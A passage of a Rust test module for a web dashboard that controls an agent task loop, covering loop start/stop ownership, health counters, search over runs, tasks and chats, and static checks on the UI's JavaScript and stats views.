19563        assert_eq!(fresh["daemon"]["pid"], 4242);
19564        assert_eq!(fresh["daemon"]["completed"], 7);
19565        assert_eq!(
19566            fresh["daemon"]["current"][0]["task"],
19567            "20260902-140501-aaaa"
19568        );
19569        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
19570    }
19571
19572    #[tokio::test]
19573    async fn the_loop_is_not_running_until_something_starts_it() {
19574        let f = Fixture::start().await;
19575
19576        let view = f.get("/api/loop").await.json();
19577        assert_eq!(view["running"], false);
19578        assert_eq!(
19579            view["owned"], false,
19580            "nobody owns a loop that does not exist: {view}"
19581        );
19582        assert_eq!(view["stopping"], false);
19583        assert_eq!(view["last_error"], Value::Null);
19584        assert_eq!(view["daemon"]["running"], false);
19585        assert_eq!(
19586            view["repo"], "/repo/magi",
19587            "the repository a start would use, named before it is started"
19588        );
19589    }
19590
19591    #[tokio::test]
19592    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
19593        let f = Fixture::start().await;
19594
19595        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19596        assert_eq!(res.status, 200, "{}", res.body);
19597        let view = res.json();
19598        assert_eq!(view["running"], true);
19599        assert_eq!(
19600            view["owned"], true,
19601            "the loop the UI started is the UI's own to stop: {view}"
19602        );
19603        assert_eq!(
19604            view["merge"],
19605            Value::Null,
19606            "no override was given, so each repository's own config decides"
19607        );
19608
19609        // The same object from the route a waking phone polls first. Two
19610        // surfaces disagreeing about whether anything is running is exactly
19611        // the confusion this UI exists to remove.
19612        let health = f.get("/api/health").await.json();
19613        assert_eq!(health["loop"]["running"], true, "{health}");
19614        assert_eq!(health["loop"]["owned"], true, "{health}");
19615
19616        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19617    }
19618
19619    #[tokio::test]
19620    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
19621        let f = Fixture::start().await;
19622        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19623        assert_eq!(first.status, 200, "{}", first.body);
19624
19625        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19626        assert_eq!(
19627            again.status, 409,
19628            "two loops on one queue race for the same claims: {}",
19629            again.body
19630        );
19631        assert!(
19632            again.json()["error"]
19633                .as_str()
19634                .is_some_and(|e| e.contains("already running the loop")),
19635            "the refusal has to say why: {}",
19636            again.body
19637        );
19638        assert_eq!(
19639            f.get("/api/loop").await.json()["running"],
19640            true,
19641            "and the loop that was already running is untouched by it"
19642        );
19643
19644        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19645    }
19646
19647    #[tokio::test]
19648    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
19649        let f = Fixture::start().await;
19650        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19651
19652        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19653        assert_eq!(
19654            res.status, 200,
19655            "the answer must not wait for the loop: a run in flight is tens of \
19656             minutes and the operator is holding a phone: {}",
19657            res.body
19658        );
19659
19660        let view = settled(&f, |v| v["running"] == false).await;
19661        assert_eq!(view["owned"], false);
19662        assert_eq!(
19663            view["stopping"], false,
19664            "a loop that has stopped is not still stopping: {view}"
19665        );
19666        assert_eq!(
19667            view["last_error"],
19668            Value::Null,
19669            "a loop that was asked to stop did not fail: {view}"
19670        );
19671
19672        // Idempotent, because the operator cannot tell a slow stop from a lost
19673        // one and will press it again.
19674        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19675        assert_eq!(twice.status, 200, "{}", twice.body);
19676    }
19677
19678    #[tokio::test]
19679    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
19680        let f = Fixture::start().await;
19681        // How the operator has been doing it: a `magi serve` of their own,
19682        // heartbeat fresh, in the same home this UI reads.
19683        write_daemon(f.home.path(), Timestamp::now());
19684
19685        let view = f.get("/api/loop").await.json();
19686        assert_eq!(view["running"], false, "not in this process: {view}");
19687        assert_eq!(view["owned"], false, "and not this process's to control");
19688        assert_eq!(
19689            view["daemon"]["running"], true,
19690            "but a loop is alive somewhere, which is what the UI must say"
19691        );
19692        assert_eq!(view["daemon"]["pid"], 4242);
19693
19694        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
19695            let res = f.post("/api/loop", Some(body)).await;
19696            assert_eq!(
19697                res.status, 409,
19698                "neither button may pretend to work on someone else's loop: {}",
19699                res.body
19700            );
19701            assert!(
19702                res.json()["error"]
19703                    .as_str()
19704                    .is_some_and(|e| e.contains("4242")),
19705                "the refusal has to name the process the operator must go to: {}",
19706                res.body
19707            );
19708        }
19709        assert_eq!(
19710            f.get("/api/loop").await.json()["running"],
19711            false,
19712            "and the refusal started nothing"
19713        );
19714    }
19715
19716    #[tokio::test]
19717    async fn a_stale_status_file_is_not_a_foreign_owner() {
19718        let f = Fixture::start().await;
19719        write_daemon(
19720            f.home.path(),
19721            Timestamp::now() - jiff::SignedDuration::from_secs(60),
19722        );
19723
19724        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19725        assert_eq!(
19726            res.status, 200,
19727            "a daemon killed a minute ago must not lock the loop out of its \
19728             own home for good: {}",
19729            res.body
19730        );
19731        assert_eq!(res.json()["running"], true);
19732
19733        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19734    }
19735
19736    #[tokio::test]
19737    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
19738        let f = Fixture::start().await;
19739        let before = f.get("/api/health").await.json()["loop_rev"]
19740            .as_u64()
19741            .expect("a loop revision");
19742
19743        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19744
19745        let after = f.get("/api/health").await.json()["loop_rev"]
19746            .as_u64()
19747            .expect("a loop revision");
19748        assert!(
19749            after > before,
19750            "the loop is in-process state, so this counter is the only thing \
19751             that tells a second device the first one started it: {before} -> \
19752             {after}"
19753        );
19754
19755        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
19756    }
19757
19758    #[tokio::test]
19759    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
19760        let f = Fixture::with_loop(launch_broken).await;
19761
19762        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19763        assert_eq!(
19764            res.status, 200,
19765            "starting it is not the failure: {}",
19766            res.body
19767        );
19768
19769        let view = settled(&f, |v| v["last_error"].is_string()).await;
19770        assert_eq!(
19771            view["running"], false,
19772            "a loop that died must not read as running, or the operator has \
19773             nothing to press: {view}"
19774        );
19775        assert_eq!(view["owned"], false);
19776        assert!(
19777            view["last_error"]
19778                .as_str()
19779                .is_some_and(|e| e.contains("read-only file system")),
19780            "the phone is where a loop that died at 3am is visible: {view}"
19781        );
19782
19783        // And it can be started again: the corpse was reaped, not left to
19784        // occupy the slot.
19785        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
19786        assert_eq!(again.status, 200, "{}", again.body);
19787        assert!(
19788            again.json()["last_error"]
19789                .as_str()
19790                .is_none_or(|e| !e.contains("read-only file system")),
19791            "a fresh start does not keep showing why the last one died: {}",
19792            again.body
19793        );
19794    }
19795
19796    #[tokio::test]
19797    async fn a_newer_daemon_status_file_still_renders() {
19798        let f = Fixture::start().await;
19799        // A field this build has never heard of must not turn the status line
19800        // into a 500; that is the whole reason the reader is permissive.
19801        std::fs::write(
19802            f.home.path().join("daemon.json"),
19803            serde_json::json!({
19804                "schema": 2,
19805                "updated_at": Timestamp::now().to_string(),
19806                "idle": true,
19807                "surprise": { "nested": [1, 2, 3] },
19808            })
19809            .to_string(),
19810        )
19811        .expect("write daemon.json");
19812
19813        let health = f.get("/api/health").await;
19814
19815        assert_eq!(health.status, 200);
19816        assert_eq!(health.json()["daemon"]["running"], true);
19817    }
19818
19819    #[tokio::test]
19820    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
19821        let f = Fixture::start().await;
19822        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
19823        let broken = f.runs().join("20260902-140502-bad");
19824        std::fs::create_dir_all(&broken).expect("run dir");
19825        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
19826
19827        let list = f.get("/api/runs").await;
19828        let detail = f.get("/api/runs/20260902-140502-bad").await;
19829
19830        assert_eq!(list.status, 200);
19831        let listed = list.json();
19832        let ids: Vec<&str> = listed
19833            .as_array()
19834            .expect("an array")
19835            .iter()
19836            .map(|r| r["id"].as_str().expect("an id"))
19837            .collect();
19838        assert_eq!(
19839            ids,
19840            vec!["20260902-140501-good"],
19841            "one unreadable run must not cost the operator the whole history"
19842        );
19843        assert_eq!(detail.status, 500);
19844        assert!(
19845            detail.json()["error"]
19846                .as_str()
19847                .is_some_and(|e| e.contains("run.json")),
19848            "the failure names the file to look at: {}",
19849            detail.body
19850        );
19851        // A skipped run has to be countable somewhere, or the UI shows an
19852        // empty history with nothing to explain it - which is exactly what a
19853        // directory full of older-schema runs looks like.
19854        let health = f.get("/api/health").await;
19855        assert_eq!(health.json()["runs_unreadable"], 1);
19856    }
19857
19858    /// Search matches nested run text, ANDs its terms and counts unreadable runs.
19859    #[tokio::test]
19860    async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
19861        let f = Fixture::start().await;
19862        let runs = f.runs();
19863        write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
19864        write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
19865        // Text three levels down, in a shape no current RunState has: an older
19866        // schema must still search.
19867        let path = runs.join("20260902-140502-bbbb").join("run.json");
19868        let mut v: serde_json::Value =
19869            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19870        v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
19871        std::fs::write(&path, v.to_string()).unwrap();
19872        std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
19873        std::fs::write(
19874            runs.join("20260902-140503-cccc").join("run.json"),
19875            "{ not json",
19876        )
19877        .unwrap();
19878
19879        let res = f.get("/api/search?scope=runs&q=quokka").await;
19880        assert_eq!(res.status, 200, "{}", res.body);
19881        let v = res.json();
19882        assert_eq!(v["total"], 1, "{v}");
19883        assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
19884        assert_eq!(v["hits"][0]["field"], "text");
19885        assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
19886        let parts = v["hits"][0]["snippet"].as_array().unwrap();
19887        assert!(
19888            parts
19889                .iter()
19890                .any(|p| p["hit"] == true && p["text"] == "Quokka"),
19891            "{v}"
19892        );
19893        let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
19894        assert_eq!(
19895            flat, "The Quokka leaks across threads",
19896            "whitespace is collapsed"
19897        );
19898
19899        // Terms are ANDed, across different fields, case-insensitively.
19900        let both = f
19901            .get("/api/search?scope=runs&q=MOBILE%20quokka")
19902            .await
19903            .json();
19904        assert_eq!(both["total"], 1, "{both}");
19905        let neither = f
19906            .get("/api/search?scope=runs&q=quokka%20zebra")
19907            .await
19908            .json();
19909        assert_eq!(neither["total"], 0, "{neither}");
19910        // Everything in the task statement is reachable, not only the row text.
19911        let stmt = f
19912            .get("/api/search?scope=runs&q=mobile%20first")
19913            .await
19914            .json();
19915        assert_eq!(stmt["total"], 2, "{stmt}");
19916        let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
19917        assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
19918    }
19919
19920    #[test]
19921    fn snippet_ignores_terms_longer_than_the_field() {
19922        let terms = ["ok".to_owned(), "elephant".to_owned()];
19923        let parts = snippet_of("ok", &terms);
19924        assert_eq!(
19925            parts,
19926            vec![SnippetPart {
19927                text: "ok".to_owned(),
19928                hit: true
19929            }]
19930        );
19931    }
19932
19933    #[test]
19934    fn snippet_marks_matches_longer_than_the_window() {
19935        let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
19936        let hit_len = |parts: &[SnippetPart]| -> usize {
19937            parts
19938                .iter()
19939                .filter(|p| p.hit)
19940                .map(|p| p.text.chars().count())
19941                .sum()
19942        };
19943        let total =
19944            |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
19945
19946        let long = "a".repeat(120);
19947        let parts = snippet_of(&long, std::slice::from_ref(&long));
19948        assert!(hit_len(&parts) > 0, "{parts:?}");
19949        assert!(total(&parts) <= cap);
19950
19951        let ja = "あ".repeat(130);
19952        let parts = snippet_of(&ja, std::slice::from_ref(&ja));
19953        assert!(hit_len(&parts) > 0, "{parts:?}");
19954        assert!(total(&parts) <= cap);
19955
19956        // A short hit, then one straddling the window's end.
19957        let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
19958        let term = format!("ab{}", "c".repeat(100));
19959        let parts = snippet_of(&text, &["ab ".to_owned(), term]);
19960        assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
19961        assert!(total(&parts) <= cap);
19962
19963        // Only the head matches: not highlighted.
19964        let text = format!("{}z", "a".repeat(119));
19965        let parts = snippet_of(&text, &["a".repeat(120)]);
19966        assert_eq!(hit_len(&parts), 0, "{parts:?}");
19967    }
19968
19969    #[tokio::test]
19970    async fn search_caps_hits_and_snippet_length() {
19971        let f = Fixture::start().await;
19972        let runs = f.runs();
19973        for n in 0..(SEARCH_MAX_HITS + 5) {
19974            write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
19975        }
19976        let v = f.get("/api/search?scope=runs&q=web").await.json();
19977        assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
19978        assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
19979        assert_eq!(v["truncated"], true);
19980        // Every listed run hit carries its list row for the page's filters.
19981        assert!(
19982            v["hits"]
19983                .as_array()
19984                .unwrap()
19985                .iter()
19986                .all(|h| h["run"]["status"] == "merged")
19987        );
19988
19989        let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
19990        let parts = snippet_of(&long, &["needle".to_owned()]);
19991        let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
19992        assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
19993        assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
19994    }
19995
19996    #[tokio::test]
19997    async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
19998        let f = Fixture::start().await;
19999        let queue = f.queue();
20000        let mut t = Task::new(
20001            "short title".to_owned(),
20002            "line one\nthe hidden Armadillo detail".to_owned(),
20003            PathBuf::from("/repo/magi"),
20004            Source::Agent {
20005                run: "r1".to_owned(),
20006                node: "chat".to_owned(),
20007            },
20008        );
20009        t.last_error = Some("disk full on /tmp".to_owned());
20010        queue.put(&mut t).expect("file the task");
20011
20012        for (q, want) in [
20013            ("armadillo", 1),
20014            ("disk%20FULL", 1),
20015            ("chat", 1),
20016            ("queued", 1),
20017            ("short%20nothing", 0),
20018        ] {
20019            let v = f
20020                .get(&format!("/api/search?scope=tasks&q={q}"))
20021                .await
20022                .json();
20023            assert_eq!(v["total"], want, "{q}: {v}");
20024        }
20025        for bad in [
20026            "/api/search?scope=tasks&q=",
20027            "/api/search?scope=tasks&q=%20",
20028            "/api/search?scope=chats&q=",
20029            "/api/search?scope=chats&q=%20",
20030            "/api/search?scope=nope&q=a",
20031            "/api/search?q=a",
20032        ] {
20033            assert_eq!(f.get(bad).await.status, 400, "{bad}");
20034        }
20035    }
20036
20037    /// Write one conversation file the way the store reads it back.
20038    fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
20039        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
20040            .expect("seat value");
20041        let turns: Vec<serde_json::Value> = turns
20042            .iter()
20043            .map(|(who, body)| {
20044                serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
20045            })
20046            .collect();
20047        let doc = serde_json::json!({
20048            "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
20049            "status": status, "turns": turns,
20050            "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
20051            "seat": seat,
20052        });
20053        let dir = f.home.path().join("talks");
20054        std::fs::create_dir_all(&dir).expect("talks dir");
20055        std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
20056    }
20057
20058    #[test]
20059    fn chat_search_prefers_the_saved_title_and_keeps_the_transcript() {
20060        let mut talk: Talk = serde_json::from_value(serde_json::json!({
20061            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
20062            "status": "open", "turns": [{"who":"operator", "body":"古い話題", "at":"2026-09-08T20:58:02Z"}],
20063            "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:58:02Z",
20064            "seat": crate::agent::SeatState::new("talk", "test", 1)
20065        })).unwrap();
20066        assert_eq!(talk_search_doc(&talk)["title"], "古い話題");
20067        talk.title = Some(talk::ChatTitle {
20068            text: "最近の話題".into(),
20069            source: talk::TitleSource::Generated,
20070        });
20071        let doc = talk_search_doc(&talk);
20072        assert_eq!(doc["title"], "最近の話題");
20073        assert_eq!(doc["turns"][0]["operator"], "古い話題");
20074        talk.title.as_mut().unwrap().source = talk::TitleSource::Manual;
20075        assert_eq!(talk_search_doc(&talk)["title"], "最近の話題");
20076    }
20077
20078    #[test]
20079    fn chat_search_labels_external_turns_and_messages_without_operator_attribution() {
20080        let mut talk = talk::seeded_for_test("external", PathBuf::from("."));
20081        talk.title = Some(talk::ChatTitle {
20082            text: "Saved title".into(),
20083            source: talk::TitleSource::Manual,
20084        });
20085        talk.turns = serde_json::from_value(serde_json::json!([
20086            {
20087                "who": "operator", "sender": "external", "body": "External plain",
20088                "at": "2026-09-08T20:58:02Z"
20089            },
20090            {
20091                "who": "operator", "body": "External message",
20092                "at": "2026-09-08T20:58:03Z",
20093                "messages": [{
20094                    "sender": "external", "body": "External message", "attachments": []
20095                }]
20096            }
20097        ]))
20098        .unwrap();
20099        let doc = talk_search_doc(&talk);
20100        assert_eq!(doc["turns"][0]["external"], "External plain");
20101        assert_eq!(doc["turns"][1]["external"], "External message");
20102        assert!(doc["turns"][0].get("operator").is_none());
20103        assert!(doc["turns"][1].get("operator").is_none());
20104        let hit = search_chat(&search_terms("message"), &talk).unwrap();
20105        assert_eq!(hit.field, "external");
20106        let target = hit.target.unwrap();
20107        assert_eq!((target.turn, target.message), (1, 0));
20108    }
20109
20110    #[test]
20111    fn chat_search_targets_the_snippet_message_and_preserves_document_matching() {
20112        let talk: Talk = serde_json::from_value(serde_json::json!({
20113            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
20114            "status": "open", "title": {"text":"Saved title", "source":"manual"},
20115            "turns": [{"who":"operator", "body":"First message\n\nSearch 運用", "at":"2026-09-08T20:58:02Z",
20116                "messages":[{"body":"First message", "attachments":[], "reply":null},
20117                            {"body":"Search 運用", "attachments":[], "reply":null}]},
20118                {"who":"agent", "body":"Another term", "at":"2026-09-08T20:59:02Z"}],
20119            "created_at": "2026-09-08T20:58:02Z", "updated_at": "2026-09-08T20:59:02Z",
20120            "seat": crate::agent::SeatState::new("talk", "test", 1)
20121        })).unwrap();
20122        let hit = search_chat(&search_terms("運用 Another"), &talk).unwrap();
20123        let target = hit.target.unwrap();
20124        assert_eq!((target.turn, target.message), (0, 1));
20125        assert_eq!(target.text, chat_text_key("Search 運用"));
20126        assert_eq!(
20127            hit.snippet,
20128            snippet_of("Search 運用", &search_terms("運用 Another"))
20129        );
20130        assert!(
20131            search_chat(&search_terms("Saved"), &talk)
20132                .unwrap()
20133                .target
20134                .is_none()
20135        );
20136        assert!(
20137            search_chat(&search_terms("ab12"), &talk)
20138                .unwrap()
20139                .target
20140                .is_none()
20141        );
20142        // All terms may still match across separate display rows.
20143        assert!(search_chat(&search_terms("message Search"), &talk).is_some());
20144        assert!(search_chat(&search_terms("messageSearch"), &talk).is_none());
20145    }
20146
20147    #[test]
20148    fn chat_search_targets_opener_derived_titles() {
20149        let mut talk: Talk = serde_json::from_value(serde_json::json!({
20150            "schema": 1, "id": "20260908-205806-ab12", "repo": ".", "agent": "test",
20151            "status": "open", "turns": [
20152                {"who":"agent", "body":"Welcome", "at":"2026-09-08T20:58:01Z"},
20153                {"who":"operator", "body":"\n 運用について\nDetails", "at":"2026-09-08T20:58:02Z"},
20154                {"who":"agent", "body":"Latest reply", "at":"2026-09-08T20:59:02Z"}],
20155            "created_at": "2026-09-08T20:58:01Z", "updated_at": "2026-09-08T20:59:02Z",
20156            "seat": crate::agent::SeatState::new("talk", "test", 1)
20157        }))
20158        .unwrap();
20159        let terms = search_terms("運用");
20160        let hit = search_chat(&terms, &talk).unwrap();
20161        assert_eq!(hit.field, "title");
20162        assert_eq!(hit.snippet, snippet_of("運用について", &terms));
20163        let target = hit.target.unwrap();
20164        assert_eq!((target.turn, target.message), (1, 0));
20165        assert_eq!(target.text, chat_text_key(&talk.turns[1].body));
20166        // A blank first send can put the opener line in a later display row.
20167        talk.turns[1].messages = serde_json::from_value(serde_json::json!([
20168            {"body":"", "attachments":[], "reply":null},
20169            {"body":" 運用について\nDetails", "attachments":[], "reply":null}
20170        ]))
20171        .unwrap();
20172        let target = search_chat(&terms, &talk).unwrap().target.unwrap();
20173        assert_eq!((target.turn, target.message), (1, 1));
20174        assert_eq!(target.text, chat_text_key(" 運用について\nDetails"));
20175        talk.title = Some(talk::ChatTitle {
20176            text: "運用について".into(),
20177            source: talk::TitleSource::Manual,
20178        });
20179        assert!(search_chat(&terms, &talk).unwrap().target.is_none());
20180    }
20181
20182    #[tokio::test]
20183    async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
20184        let f = Fixture::start().await;
20185        write_talk(
20186            &f,
20187            "20260901-000001-aaaa",
20188            "open",
20189            &[
20190                (
20191                    "operator",
20192                    "\n  Why does the Pangolin cache expire?\nsecond line",
20193                ),
20194                ("agent", "Because the TTL is thirty seconds."),
20195            ],
20196        );
20197        write_talk(
20198            &f,
20199            "20260901-000002-bbbb",
20200            "closed",
20201            &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
20202        );
20203        std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
20204
20205        let search = |q: &'static str| {
20206            let f = &f;
20207            async move {
20208                f.get(&format!("/api/search?scope=chats&q={q}"))
20209                    .await
20210                    .json()
20211            }
20212        };
20213
20214        let v = search("PANGOLIN").await;
20215        assert_eq!(v["scope"], "chats");
20216        assert_eq!(v["total"], 1, "{v}");
20217        assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
20218        assert_eq!(v["hits"][0]["field"], "title");
20219        assert_eq!(v["unreadable"], 1, "{v}");
20220        let marked: Vec<&str> = v["hits"][0]["snippet"]
20221            .as_array()
20222            .unwrap()
20223            .iter()
20224            .filter(|p| p["hit"] == true)
20225            .map(|p| p["text"].as_str().unwrap())
20226            .collect();
20227        assert_eq!(marked, ["Pangolin"]);
20228
20229        // An agent turn, in a closed conversation.
20230        let v = search("zebra").await;
20231        assert_eq!(v["total"], 1, "{v}");
20232        assert_eq!(v["hits"][0]["field"], "agent");
20233        // Words may sit in different turns; all must be present.
20234        assert_eq!(search("pangolin%20thirty").await["total"], 1);
20235        assert_eq!(search("pangolin%20zebra").await["total"], 0);
20236        // Bookkeeping is not searched.
20237        for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
20238            assert_eq!(search(q).await["total"], 0, "{q}");
20239        }
20240        // The first line only is the title; the second line is still a turn.
20241        assert_eq!(search("second").await["hits"][0]["field"], "operator");
20242        // Open conversations are listed before closed ones.
20243        assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
20244
20245        let v = f.get("/api/search?scope=nope&q=a").await;
20246        assert_eq!(v.status, 400);
20247        assert!(
20248            v.body.contains("scope must be runs, tasks or chats"),
20249            "{}",
20250            v.body
20251        );
20252    }
20253
20254    #[test]
20255    fn a_question_card_links_a_task_id_to_the_task_page() {
20256        let start = APP_JS
20257            .find("function updateAskCard(")
20258            .expect("updateAskCard exists");
20259        let body = &APP_JS[start..];
20260        let body = &body[..body.find("\n}\n").expect("function end")];
20261        assert!(body.contains("question.run_is_task"));
20262        assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
20263        assert!(body.contains("`#/runs/${question.run}`"));
20264        assert!(body.contains("\"task\" : \"run\""));
20265    }
20266
20267    #[test]
20268    fn plain_text_message_surfaces_go_through_linkify() {
20269        assert!(APP_JS.contains("function linkify("));
20270        assert!(!APP_JS.contains("class: \"event-msg\", text:"));
20271        assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
20272        assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
20273        assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
20274        assert!(!APP_JS.contains("innerHTML = text"));
20275    }
20276
20277    #[test]
20278    fn implementation_rate_views_keep_independent_samples() {
20279        for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
20280            let a = stats::AgentStats {
20281                competitive_entered: competitive_n,
20282                competitive_wins: usize::from(competitive_n > 0),
20283                solo_entered: solo_n,
20284                solo_adopted: 2 * usize::from(solo_n > 0),
20285                ..Default::default()
20286            };
20287            let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
20288            for (key, n, numerator) in [
20289                ("competitive_win_rate", competitive_n, a.competitive_wins),
20290                ("solo_adoption_rate", solo_n, a.solo_adopted),
20291            ] {
20292                if n == 0 {
20293                    assert!(v[key].is_null());
20294                } else {
20295                    assert_eq!(v[key]["denominator"], n);
20296                    assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
20297                }
20298            }
20299        }
20300        assert!(APP_JS.contains("rate: a.competitive_win_rate"));
20301        assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
20302        assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
20303        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
20304    }
20305
20306    #[test]
20307    fn stats_bars_share_one_id_keyed_plan() {
20308        let start = APP_JS
20309            .find("function statsBarRows(")
20310            .expect("statsBarRows exists");
20311        let body = &APP_JS[start..];
20312        let body = &body[..body.find("\n}\n").expect("function end")];
20313        assert!(body.contains("statsBarPlan(rows)"));
20314        assert!(body.contains("statsAgentTone(row.agent)"));
20315        assert!(!body.contains("candTone(i)"));
20316        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
20317        for root in [
20318            "stats-agents-bars",
20319            "stats-solo-bars",
20320            "stats-reviewers-bars",
20321        ] {
20322            assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
20323        }
20324    }
20325
20326    #[test]
20327    fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
20328        let start = APP_JS
20329            .find("function renderStatsReviewerScatter(")
20330            .expect("renderStatsReviewerScatter exists");
20331        let body = &APP_JS[start..];
20332        let body = &body[..body.find("\n}\n").expect("function end")];
20333        assert!(body.contains("statsScatterPlan(reviewers)"));
20334        assert!(body.contains("statsAgentTone(d.agent)"));
20335        assert!(APP_JS.contains("function statsScatterPlan("));
20336        assert!(
20337            APP_JS.contains("d.submitted < STATS_LOW_N")
20338                || APP_JS.contains("r.submitted < STATS_LOW_N")
20339        );
20340        assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
20341        assert!(APP_CSS.contains(".precision-scatter"));
20342    }
20343
20344    #[test]
20345    fn advisor_reflection_is_drawn_as_stacked_segments() {
20346        assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
20347        assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
20348        let html = include_str!("../assets/ui/index.html");
20349        assert!(html.contains("Approximate"));
20350        for label in ["reflected strongly", "faint", "no proposal"] {
20351            assert!(html.contains(label));
20352        }
20353        let css = include_str!("../assets/ui/app.css");
20354        for c in ["refl-strong", "refl-faint", "refl-absent"] {
20355            assert!(css.contains(&format!(".{c} {{")));
20356        }
20357    }
20358
20359    #[test]
20360    fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
20361        assert!(APP_JS.contains("function statsDailyPlan("));
20362        assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
20363        assert!(INDEX_HTML.contains("id=\"stats-daily\""));
20364    }
20365
20366    #[test]
20367    fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
20368        let start = APP_JS
20369            .find("function scheduleSearch(")
20370            .expect("scheduleSearch exists");
20371        let body = &APP_JS[start..];
20372        let body = &body[..body.find("\n}\n").expect("function end")];
20373        assert!(body.contains("s.seq += 1"));
20374    }
20375
20376    /// The dashboard reads every run's state itself rather than trusting a
20377    /// separately-maintained count, so an unreadable run must be counted the
20378    /// same way `/api/health` counts it - never silently dropped the way the
20379    /// CLI's own `stats::load_all` drops it.
20380    #[tokio::test]
20381    async fn stats_runs_unreadable_matches_health() {
20382        let f = Fixture::start().await;
20383        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
20384        let broken = f.runs().join("20260902-140502-bad");
20385        std::fs::create_dir_all(&broken).expect("run dir");
20386        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
20387
20388        let stats = f.get("/api/stats").await;
20389        let health = f.get("/api/health").await;
20390
20391        assert_eq!(stats.status, 200);
20392        assert_eq!(stats.json()["totals"]["runs"], 1);
20393        assert_eq!(stats.json()["runs_unreadable"], 1);
20394        assert_eq!(
20395            stats.json()["runs_unreadable"],
20396            health.json()["runs_unreadable"],
20397            "the dashboard and /api/health must never disagree about how many \
20398             runs could not be read"
20399        );
20400    }
20401
20402    #[tokio::test]
20403    async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
